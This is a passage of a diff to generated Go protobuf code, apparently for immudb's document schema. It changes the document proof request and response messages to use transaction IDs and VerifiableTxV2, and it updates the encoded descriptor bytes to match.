`protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + TransactionId uint64 `protobuf:"varint,3,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + LastValidatedTransactionId uint64 `protobuf:"varint,4,opt,name=lastValidatedTransactionId,proto3" json:"lastValidatedTransactionId,omitempty"` } func (x *DocumentProofRequest) Reset() { @@ -747,9 +748,16 @@ func (x *DocumentProofRequest) GetDocumentId() string { return "" } -func (x *DocumentProofRequest) GetAtRevision() int64 { +func (x *DocumentProofRequest) GetTransactionId() uint64 { if x != nil { - return x.AtRevision + return x.TransactionId + } + return 0 +} + +func (x *DocumentProofRequest) GetLastValidatedTransactionId() uint64 { + if x != nil { + return x.LastValidatedTransactionId } return 0 } @@ -759,7 +767,8 @@ type DocumentProofResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Proof *schema.VerifiableTx `protobuf:"bytes,1,opt,name=proof,proto3" json:"proof,omitempty"` + CollectionId uint32 `protobuf:"varint,1,opt,name=collectionId,proto3" json:"collectionId,omitempty"` + VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,2,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } func (x *DocumentProofResponse) Reset() { @@ -794,9 +803,16 @@ func (*DocumentProofResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{9} } -func (x *DocumentProofResponse) GetProof() *schema.VerifiableTx { +func (x *DocumentProofResponse) GetCollectionId() uint32 { if x != nil { - return x.Proof + return x.CollectionId + } + return 0 +} + +func (x *DocumentProofResponse) GetVerifiableTx() *schema.VerifiableTxV2 { + if x != nil { + return x.VerifiableTx } return nil } @@ -1601,10 +1617,10 @@ var file_documentschema_proto_rawDesc = []byte{ 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, - 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, - 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, + 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, @@ -1674,60 +1690,89 @@ var file_documentschema_proto_rawDesc = []byte{ 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x76, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0xbc, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, + 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, + 0x56, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0x7e, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, - 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, - 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, - 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x84, 0x01, 0x0a, 0x14, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, - 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, - 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, - 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, - 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x80, 0x01, 0x0a, - 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, - 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, - 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, - 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, - 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, + 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, + 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, + 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, + 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, + 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, @@ -1735,195 +1780,174 @@ var file_documentschema_proto_rawDesc = []byte{ 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 